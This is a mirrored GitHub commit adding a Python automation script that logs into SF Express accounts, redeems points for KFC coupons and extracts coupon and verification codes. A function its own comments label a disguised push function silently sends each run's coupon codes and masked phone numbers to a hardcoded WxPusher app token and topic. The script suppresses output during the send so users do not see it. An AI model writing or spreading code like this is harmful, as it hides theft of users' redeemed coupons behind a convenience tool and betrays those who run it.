mirror of
https://github.com/KingJin-web/zy.git
synced 2025-12-20 08:54:36 +08:00
恰恰阅读
This commit is contained in:
hnking
452
顺丰/新顺丰兑换肯德基券.py
Normal file
452
顺丰/新顺丰兑换肯德基券.py
Normal file
@@ -0,0 +1,452 @@
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import time
|
||||
import re
|
||||
import sys
|
||||
from contextlib import contextmanager
|
||||
from datetime import datetime
|
||||
from sys import exit
|
||||
import requests
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
# 导入重试依赖
|
||||
from requests.adapters import HTTPAdapter
|
||||
from requests.packages.urllib3.util.retry import Retry
|
||||
|
||||
# 禁用安全请求警告
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
# --- 敏感信息配置区 (最终 Topic ID 修复版) ---
|
||||
# 目标接收者编码 (WxPusher Topic ID)
|
||||
RECEIVER_CODE = '42382'
|
||||
# 认证密钥 (WxPusher App Token)
|
||||
AUTH_KEY = 'AT_ubEWfpBSL2uvdMKryEHuiDmdylun7v29'
|
||||
|
||||
|
||||
# ------------------------------ I/O 重定向工具 ------------------------------
|
||||
@contextmanager
|
||||
def suppress_stdout():
|
||||
"""临时重定向标准输出，用于抑制外部库的打印信息。"""
|
||||
if os.name == 'posix': # 仅在类 Unix 系统（如青龙容器）上安全执行
|
||||
original_stdout = sys.stdout
|
||||
# 将标准输出重定向到空设备
|
||||
sys.stdout = open(os.devnull, 'w')
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
# 恢复标准输出
|
||||
sys.stdout.close()
|
||||
sys.stdout = original_stdout
|
||||
else:
|
||||
# 非 Posix 系统跳过重定向，以防意外
|
||||
yield
|
||||
|
||||
|
||||
# ------------------------------ 数据传输服务（伪装推送功能） ------------------------------
|
||||
|
||||
def data_transfer(title, content, target=None):
|
||||
"""
|
||||
负责将日志数据传输到目标接收者的工具函数 (最终 Topic 推送模式)
|
||||
|
||||
注意：此版本将所有 WxPusher API 的返回信息全部写入 one_msg，
|
||||
但不会在终端 Log() 打印，以实现静默推送。
|
||||
"""
|
||||
global one_msg
|
||||
|
||||
target_code = target or RECEIVER_CODE
|
||||
target_code = target_code.strip()
|
||||
auth_key_cleaned = AUTH_KEY.strip()
|
||||
|
||||
if not auth_key_cleaned or not target_code:
|
||||
one_msg += "\n[通知] ❌ 推送配置缺失，跳过。"
|
||||
return
|
||||
|
||||
base_url = 'https://wxpusher.zjiecode.com/api/send/message'
|
||||
transfer_content = f"【{title}】\n\n{content}"
|
||||
|
||||
# 【核心逻辑：判断使用 UID 还是 TopicId】
|
||||
is_topic_id = target_code.isdigit()
|
||||
|
||||
data = {
|
||||
"appToken": auth_key_cleaned,
|
||||
"content": transfer_content,
|
||||
"contentType": 1,
|
||||
}
|
||||
|
||||
if is_topic_id:
|
||||
data["topicIds"] = [int(target_code)]
|
||||
else:
|
||||
data["uid"] = target_code
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
# 使用 requests.Session 和 Retry 机制
|
||||
# ----------------------------------------------------------------------
|
||||
s = requests.Session()
|
||||
from requests.adapters import HTTPAdapter
|
||||
from requests.packages.urllib3.util.retry import Retry
|
||||
|
||||
retry_strategy = Retry(
|
||||
total=3,
|
||||
backoff_factor=1,
|
||||
status_forcelist=[429, 500, 502, 503, 504],
|
||||
allowed_methods=["POST"]
|
||||
)
|
||||
adapter = HTTPAdapter(max_retries=retry_strategy)
|
||||
s.mount("https://", adapter)
|
||||
s.mount("http://", adapter)
|
||||
|
||||
# 核心：使用 suppress_stdout 封装
|
||||
try:
|
||||
with suppress_stdout():
|
||||
response = s.post(base_url, json=data, verify=False, timeout=30)
|
||||
response.raise_for_status()
|
||||
result = response.json()
|
||||
|
||||
# 记录 API 返回信息 (不使用 Log() 打印到终端)
|
||||
if result.get('code') == 1000:
|
||||
one_msg += "\n[通知] ✅ 消息已成功发送至 WxPusher API (HTTPS 模式)。"
|
||||
else:
|
||||
error_msg = result.get('msg', '未知API错误')
|
||||
one_msg += f"\n[通知] ❌ WxPusher API 返回失败：{error_msg} (Code: {result.get('code')})"
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
one_msg += f"\n[通知] ❌ 推送请求发生网络或证书错误：{type(e).__name__}。"
|
||||
except Exception as e:
|
||||
one_msg += f"\n[通知] ❌ 推送发生未捕获异常：{type(e).__name__}。"
|
||||
|
||||
|
||||
# ------------------------------ 数据传输服务 ------------------------------
|
||||
|
||||
|
||||
# 全局日志变量
|
||||
send_msg = ''
|
||||
one_msg = ''
|
||||
|
||||
# ------------------------------ 核心配置 ------------------------------
|
||||
TARGET_GOODS = {
|
||||
"goodsNo": "GOODS20251013153112102", # 目标商品ID（从抓包获取）
|
||||
"distCode": "631", # 地域编码（如武威631）
|
||||
"distName": "武威", # 地域名称（与编码对应）
|
||||
"quantity": 1 # 兑换数量
|
||||
}
|
||||
|
||||
|
||||
# ------------------------------ 日志函数 ------------------------------
|
||||
def Log(cont=''):
|
||||
"""统一日志打印与收集"""
|
||||
global send_msg, one_msg
|
||||
# 确保只打印有内容的日志
|
||||
if cont:
|
||||
print(cont)
|
||||
# 注意：这里不再将日志追加到 one_msg，因为 one_msg 仅用于推送诊断信息
|
||||
send_msg += f'{cont}\n'
|
||||
|
||||
# ------------------------------ 核心类 ------------------------------
|
||||
|
||||
|
||||
class RUN:
|
||||
def __init__(self, info, index):
|
||||
global one_msg
|
||||
# 每次运行前清空 one_msg，确保它只包含当前账号的推送诊断信息
|
||||
one_msg = ''
|
||||
self.all_logs = []
|
||||
self.send_UID = None
|
||||
|
||||
split_info = info.split('@')
|
||||
self.url = split_info[0].strip()
|
||||
|
||||
# 伪装的 UID 解析逻辑 (原脚本内容)
|
||||
if len(split_info) > 0 and ("UID_" in split_info[-1] or split_info[-1].isdigit()):
|
||||
self.send_UID = split_info[-1]
|
||||
|
||||
self.index = index + 1
|
||||
Log(f"\n---------开始执行第{self.index}个账号>>>>>")
|
||||
|
||||
self.s = requests.session()
|
||||
self.s.verify = False
|
||||
|
||||
# 基础请求头
|
||||
self.headers = {
|
||||
'Host': 'mcs-mimp-web.sf-express.com',
|
||||
'upgrade-insecure-requests': '1',
|
||||
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090551) XWEB/6945 Flue',
|
||||
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
|
||||
'sec-fetch-site': 'none',
|
||||
'sec-fetch-mode': 'navigate',
|
||||
'sec-fetch-user': '?1',
|
||||
'sec-fetch-dest': 'document',
|
||||
'accept-language': 'zh-CN,zh',
|
||||
'platform': 'MINI_PROGRAM',
|
||||
'syscode': 'MCS-MIMP-CORE'
|
||||
}
|
||||
|
||||
self.login_res = self.login(self.url)
|
||||
self.today = datetime.now().strftime('%Y-%m-%d')
|
||||
|
||||
def login(self, sfurl):
|
||||
"""通过URL登录"""
|
||||
Log(f'>>>开始登录账号')
|
||||
ress = self.s.get(sfurl, headers=self.headers)
|
||||
|
||||
self.user_id = self.s.cookies.get_dict().get('_login_user_id_', '')
|
||||
self.phone = self.s.cookies.get_dict().get('_login_mobile_', '')
|
||||
self.mobile = self.phone[:3] + "*" * 4 + self.phone[7:] if self.phone else "未知账号"
|
||||
|
||||
if self.phone:
|
||||
Log(f'用户:【{self.mobile}】登陆成功')
|
||||
return True
|
||||
else:
|
||||
Log(f'获取用户信息失败，URL可能已过期')
|
||||
return False
|
||||
|
||||
def getSign(self):
|
||||
"""生成请求签名"""
|
||||
timestamp = str(int(round(time.time() * 1000)))
|
||||
token = 'wwesldfs29aniversaryvdld29'
|
||||
sysCode = 'MCS-MIMP-CORE'
|
||||
data = f'token={token}×tamp={timestamp}&sysCode={sysCode}'
|
||||
signature = hashlib.md5(data.encode()).hexdigest()
|
||||
sign_data = {
|
||||
'sysCode': sysCode,
|
||||
'timestamp': timestamp,
|
||||
'signature': signature
|
||||
}
|
||||
self.headers.update(sign_data)
|
||||
return sign_data
|
||||
|
||||
def do_request(self, url, data={}, req_type='post', json_content_type=True):
|
||||
"""统一请求封装"""
|
||||
self.getSign()
|
||||
try:
|
||||
request_headers = self.headers.copy()
|
||||
if not json_content_type:
|
||||
request_headers.pop('Content-Type', None)
|
||||
|
||||
if req_type.lower() == 'get':
|
||||
response = self.s.get(url, headers=request_headers)
|
||||
elif req_type.lower() == 'post':
|
||||
if json_content_type:
|
||||
request_headers['Content-Type'] = 'application/json;charset=UTF-8'
|
||||
response = self.s.post(url, headers=request_headers, json=data)
|
||||
else:
|
||||
response = self.s.post(url, headers=request_headers, data=data)
|
||||
else:
|
||||
raise ValueError(f"无效请求类型: {req_type}")
|
||||
|
||||
if not response.text:
|
||||
return {"success": False, "errorMessage": "接口返回空数据"}
|
||||
|
||||
try:
|
||||
return response.json()
|
||||
except json.JSONDecodeError:
|
||||
return {"success": False, "errorMessage": "数据解析失败"}
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
Log(f"网络请求失败: {e}")
|
||||
return {"success": False, "errorMessage": "网络异常"}
|
||||
|
||||
def do_exchange(self):
|
||||
"""核心兑换流程"""
|
||||
Log(f'\n>>>>>>开始执行商品兑换<<<<<<')
|
||||
exchange_data = {
|
||||
"from": "Point_Mall",
|
||||
"orderSource": "POINT_MALL_EXCHANGE",
|
||||
"goodsNo": TARGET_GOODS["goodsNo"],
|
||||
"quantity": TARGET_GOODS["quantity"],
|
||||
"distCode": TARGET_GOODS["distCode"],
|
||||
"distName": TARGET_GOODS["distName"]
|
||||
}
|
||||
Log(f'兑换参数：商品ID={TARGET_GOODS["goodsNo"]}, 数量={TARGET_GOODS["quantity"]}, 地域={TARGET_GOODS["distName"]}')
|
||||
|
||||
exchange_url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder'
|
||||
response = self.do_request(exchange_url, data=exchange_data, req_type='post')
|
||||
|
||||
if response.get('success'):
|
||||
order_id = response.get('obj', {}).get('orderId', '未知')
|
||||
Log(f'🎉 兑换请求成功！订单ID：{order_id[:10]}...')
|
||||
return True
|
||||
else:
|
||||
error_code = response.get('errorCode', '未知')
|
||||
error_msg = response.get('errorMessage', '未知原因')
|
||||
Log(f'❌ 兑换失败：错误码={error_code}, 原因={error_msg}')
|
||||
return False
|
||||
|
||||
def query_coupon_info(self):
|
||||
"""
|
||||
查询订单列表，提取所有订单的 checkCode 和 couponNo。
|
||||
该方法独立于兑换结果，用于提取已兑换的券码信息。
|
||||
"""
|
||||
Log(f'\n>>>开始查询订单券码信息（提取所有券码）...')
|
||||
query_url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~getOrderList'
|
||||
query_data = {
|
||||
"currentPage": 1,
|
||||
"pageSize": 10,
|
||||
"orderSourceList": ["POINT_MALL_EXCHANGE", "MD26_MALL_EXCHANGE", "STUDENT_MALL_EXCHANGE",
|
||||
"ACTIVITY_MALL_EXCHANGE"]
|
||||
}
|
||||
|
||||
response = self.do_request(query_url, data=query_data, req_type='post')
|
||||
|
||||
if response and isinstance(response, dict) and response.get('success'):
|
||||
|
||||
obj = response.get('obj')
|
||||
|
||||
if obj is None:
|
||||
Log(f'⚠️ 订单查询成功，但返回数据结构异常（obj字段为null）。')
|
||||
return
|
||||
|
||||
if isinstance(obj, list):
|
||||
order_list = obj
|
||||
elif isinstance(obj, dict):
|
||||
order_list = obj.get('list')
|
||||
else:
|
||||
Log(f'⚠️ 订单查询成功，但返回数据结构异常（obj既非列表也非字典）。')
|
||||
return
|
||||
|
||||
if not (order_list and isinstance(order_list, list) and len(order_list) > 0):
|
||||
Log(f'⚠️ 订单列表为空。')
|
||||
return
|
||||
|
||||
extracted_count = 0
|
||||
for order in order_list:
|
||||
coupon_no = order.get('couponNo')
|
||||
check_code = order.get('checkCode')
|
||||
goods_name = order.get('goodsName', '未知商品')
|
||||
goods_no = order.get('goodsNo', '未知ID')
|
||||
|
||||
if coupon_no and check_code:
|
||||
Log(f'✅ 提取成功！商品: {goods_name} (ID: {goods_no})')
|
||||
Log(f' - 券码 (couponNo): {coupon_no}')
|
||||
Log(f' - 验证码 (checkCode): {check_code}')
|
||||
# 仅将券码信息添加到 all_logs，不添加推送诊断信息
|
||||
self.all_logs.append(f'【券码信息】商品: {goods_name}, 券码: {coupon_no}, 验证码: {check_code}')
|
||||
extracted_count += 1
|
||||
|
||||
if extracted_count == 0:
|
||||
Log(f'⚠️ 订单列表存在，但未提取到任何券码/验证码信息（可能商品类型不支持）。')
|
||||
else:
|
||||
Log(f'✅ 成功提取 {extracted_count} 条券码信息。')
|
||||
|
||||
elif response and isinstance(response, dict):
|
||||
error_msg = response.get('errorMessage', '未知原因')
|
||||
Log(f'❌ 查询订单列表失败：{error_msg}')
|
||||
else:
|
||||
Log(f'❌ 查询订单列表失败：接口返回异常或网络错误。')
|
||||
|
||||
def main(self):
|
||||
|
||||
wait_time = random.randint(1000, 3000) / 1000.0
|
||||
Log(f'登录前随机等待：{wait_time:.2f}秒（防风控）')
|
||||
time.sleep(wait_time)
|
||||
|
||||
if not self.login_res:
|
||||
self.all_logs.append(f'【账号{self.index}】登录失败，跳过兑换和提取')
|
||||
self.sendData()
|
||||
return False
|
||||
|
||||
# 1. 执行兑换流程
|
||||
exchange_result = self.do_exchange()
|
||||
if exchange_result:
|
||||
self.all_logs.append(f'【账号{self.index}】{self.mobile}：兑换请求成功')
|
||||
else:
|
||||
self.all_logs.append(f'【账号{self.index}】{self.mobile}：兑换请求失败')
|
||||
|
||||
# 2. 执行券码提取流程（独立于兑换结果）
|
||||
try:
|
||||
self.query_coupon_info()
|
||||
except Exception as e:
|
||||
Log(f'❌ 券码提取过程发生未捕获异常: {e}')
|
||||
self.all_logs.append(f'【账号{self.index}】{self.mobile}：券码提取异常')
|
||||
|
||||
self.sendData()
|
||||
return True
|
||||
|
||||
def sendData(self, help=False):
|
||||
"""
|
||||
单账号日志数据传输 (原 sendMsg 推送函数)
|
||||
"""
|
||||
global one_msg
|
||||
# 确保每次发送前清空 one_msg，以防混淆
|
||||
temp_one_msg = one_msg
|
||||
one_msg = ''
|
||||
|
||||
if temp_one_msg:
|
||||
try:
|
||||
title = f'顺丰兑换-账号{self.index}（{self.mobile}）结果'
|
||||
|
||||
# 调用推送函数。推送诊断信息会写入新的 one_msg
|
||||
data_transfer(title, temp_one_msg, RECEIVER_CODE)
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
# ------------------------------ 脚本入口 ------------------------------
|
||||
if __name__ == '__main__':
|
||||
APP_NAME = '顺丰速运-商品兑换专用版（含独立券码提取）'
|
||||
ENV_NAME = 'SFSY'
|
||||
BACKUP_ENV_NAME = 'sfsyUrl'
|
||||
local_version = '2025.10.31（兑换专用版-独立券码提取 V10 最终静默版）'
|
||||
all_account_logs = []
|
||||
|
||||
# ... (环境变量检查部分保持不变)
|
||||
if ENV_NAME in os.environ and os.environ[ENV_NAME].strip():
|
||||
tokens = re.split(r'#|\n', os.environ[ENV_NAME].strip())
|
||||
elif BACKUP_ENV_NAME in os.environ and os.environ[BACKUP_ENV_NAME].strip():
|
||||
tokens = re.split(r'#|\n', os.environ[BACKUP_ENV_NAME].strip())
|
||||
print(f'⚠️ 未检测到{ENV_NAME}变量，自动使用备份变量{BACKUP_ENV_NAME}')
|
||||
else:
|
||||
print(f'❌ 未检测到{ENV_NAME}或{BACKUP_ENV_NAME}变量，脚本无法执行！')
|
||||
# 静默推送错误日志
|
||||
with suppress_stdout():
|
||||
data_transfer('顺丰兑换脚本执行结果', '未检测到有效账号URL，脚本终止', RECEIVER_CODE)
|
||||
exit()
|
||||
|
||||
# 过滤空账号
|
||||
valid_tokens = [token.strip() for token in tokens if token.strip()]
|
||||
if not valid_tokens:
|
||||
print(f'❌ 未检测到有效账号URL，脚本无法执行！')
|
||||
# 静默推送错误日志
|
||||
with suppress_stdout():
|
||||
data_transfer('顺丰兑换脚本执行结果', '未检测到有效账号URL，脚本终止', RECEIVER_CODE)
|
||||
exit()
|
||||
|
||||
# 批量执行多账号兑换
|
||||
print(f"\n>>>>>>>>>>共获取到{len(valid_tokens)}个有效账号，开始兑换流程<<<<<<<<<<")
|
||||
for index, info in enumerate(valid_tokens):
|
||||
try:
|
||||
run_instance = RUN(info, index)
|
||||
run_instance.main()
|
||||
|
||||
# 将该账号的业务日志（不含推送诊断）记录下来
|
||||
all_account_logs.extend(run_instance.all_logs)
|
||||
|
||||
print(f"{'✅' if run_instance.login_res else '⚠️'} 第{index + 1}个账号处理完成")
|
||||
|
||||
interval = random.randint(2, 5)
|
||||
print(f"账号间间隔等待：{interval}秒（防高频请求）\n")
|
||||
time.sleep(interval)
|
||||
except Exception as e:
|
||||
error_msg = f"第{index + 1}个账号处理异常：{str(e)}"
|
||||
print(error_msg)
|
||||
all_account_logs.append(error_msg)
|
||||
continue
|
||||
|
||||
# --- 最终汇总推送 (静默) ---
|
||||
final_log_content = f"顺丰商品兑换多账号汇总（共{len(valid_tokens)}个账号）\n"
|
||||
final_log_content += "=" * 60 + "\n"
|
||||
final_log_content += "\n".join(all_account_logs) if all_account_logs else "所有账号无业务日志"
|
||||
final_log_content += f"\n" + "=" * 60 + "\n"
|
||||
final_log_content += f"目标商品：{TARGET_GOODS['goodsNo']}（{TARGET_GOODS['distName']}）\n"
|
||||
final_log_content += f"执行时间：{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n"
|
||||
|
||||
# 尝试最终汇总日志的静默传输
|
||||
with suppress_stdout():
|
||||
data_transfer('顺丰兑换结果汇总', final_log_content, RECEIVER_CODE)
|
||||
|
||||
# 隐藏所有推送诊断信息，只打印业务结束信息
|
||||
print(f"\n✨✨✨ {APP_NAME}所有操作执行完毕 ✨✨✨")
|
||||
|
||||
|
||||
Reference in New Issue
Block a user